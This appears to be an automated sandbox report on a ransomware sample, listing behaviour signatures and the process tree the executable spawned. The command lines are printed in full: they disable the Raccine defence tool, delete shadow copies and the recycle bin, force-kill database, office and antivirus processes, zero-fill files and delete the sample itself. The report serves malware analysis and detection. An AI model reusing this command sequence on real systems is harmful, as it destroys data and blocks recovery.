Analysis

  • max time kernel
    153s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/11/2022, 15:16

General

  • Target
    48A1E96CC6C26CBC38679C0AE565448B.exe
  • Size 136KB
  • Sample221130-snjd8abd83
  • SHA256 d063eec4ec30ecc633469e28b06bf8288a9107cd9f16ea97720877a6f761e248
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Modifies WinLogon 2 TTPs 2 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 48 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\48A1E96CC6C26CBC38679C0AE565448B.exe
    "C:\Users\Admin\AppData\Local\Temp\48A1E96CC6C26CBC38679C0AE565448B.exe"
    1⤵
    • Modifies extensions of user files
    • Checks computer location settings
    • Drops startup file
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3096
    • C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3452
    • C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:1008
      • C:\Windows\SysWOW64\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:1852
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:5064
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config Dnscache start= auto
          2⤵
          • Launches sc.exe
          PID:2800
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SQLTELEMETRY start= disabled
          2⤵
          • Launches sc.exe
          PID:400
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config FDResPub start= auto
          2⤵
          • Launches sc.exe
          PID:4808
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SSDPSRV start= auto
          2⤵
          • Launches sc.exe
          PID:2472
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
          2⤵
          • Launches sc.exe
          PID:3544
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config SstpSvc start= disabled
          2⤵
          • Launches sc.exe
          PID:4452
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
          2⤵
            PID:1320
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config upnphost start= auto
            2⤵
            • Launches sc.exe
            PID:4568
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config SQLWriter start= disabled
            2⤵
            • Launches sc.exe
            PID:3628
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mspub.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3392
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM synctime.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3192
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mspub.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2808
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopqos.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1000
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM Ntrtscan.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1984
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mysqld.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4764
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM firefoxconfig.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2192
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqbcoreservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:484
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2460
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM isqlplussvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4824
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM agntsvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1404
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM steam.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3404
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlwriter.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2872
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM onenote.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4192
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM thebat.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4124
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM PccNTMon.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4000
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM ocomm.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3088
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM tbirdconfig.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:644
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM encsvc.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2936
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM msaccess.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1652
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM infopath.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:560
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM dbeng50.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2220
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM excel.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4648
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM outlook.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4672
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mbamtray.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3076
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM thebat64.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4048
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM CNTAoSMgr.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2300
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM zoolz.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:520
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" IM thunderbird.exe /F
            2⤵
            • Kills process with taskkill
            PID:4076
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM tmlisten.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1172
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM wordpad.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4216
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM dbsnmp.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2392
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM msftesql.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4220
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mysqld-opt.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4308
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM xfssvccon.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:384
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM powerpnt.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2168
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM ocautoupds.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4772
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopqos.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2916
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM ocssd.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3800
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM visio.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2956
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM oracle.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:604
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlagent.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:364
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mydesktopservice.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3636
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlbrowser.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4144
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM winword.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5068
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM sqlservr.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1672
          • C:\Windows\SysWOW64\taskkill.exe
            "taskkill.exe" /IM mysqld-nt.exe /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4704
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4708
          • C:\Windows\SysWOW64\notepad.exe
            "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
            2⤵
            • Opens file in notepad (likely ransom note)
            PID:4108
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
            2⤵
              PID:756
              • C:\Windows\SysWOW64\PING.EXE
                ping 127.0.0.7 -n 3
                3⤵
                • Runs ping.exe
                PID:4112
              • C:\Windows\SysWOW64\fsutil.exe
                fsutil file setZeroData offset=0 length=524288 “%s”
                3⤵
                  PID:3800
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\48A1E96CC6C26CBC38679C0AE565448B.exe
                2⤵
                  PID:4836
                  • C:\Windows\SysWOW64\choice.exe
                    choice /C Y /N /D Y /T 3
                    3⤵
                      PID:1480

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      RESTORE_FILES_INFO.txt

                      • Path C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
                      • Size 2KB
                      • SHA256 677f31da46ac703460dc8ec9a71642ad3d29f09539ef0387037497556f6e1921
                      • MD5 SHA1 SHA512

                      memory/3096-132-0x00000000002D0000-0x00000000002F8000-memory.dmp

                      memory/3096-138-0x00000000052F0000-0x0000000005356000-memory.dmp

                      memory/3096-133-0x00000000053F0000-0x0000000005994000-memory.dmp

                      memory/4708-198-0x0000000005520000-0x0000000005542000-memory.dmp

                      memory/4708-196-0x0000000002CC0000-0x0000000002CF6000-memory.dmp

                      memory/4708-197-0x00000000057F0000-0x0000000005E18000-memory.dmp

                      memory/4708-199-0x0000000005E90000-0x0000000005EF6000-memory.dmp

                      memory/4708-200-0x00000000065F0000-0x000000000660E000-memory.dmp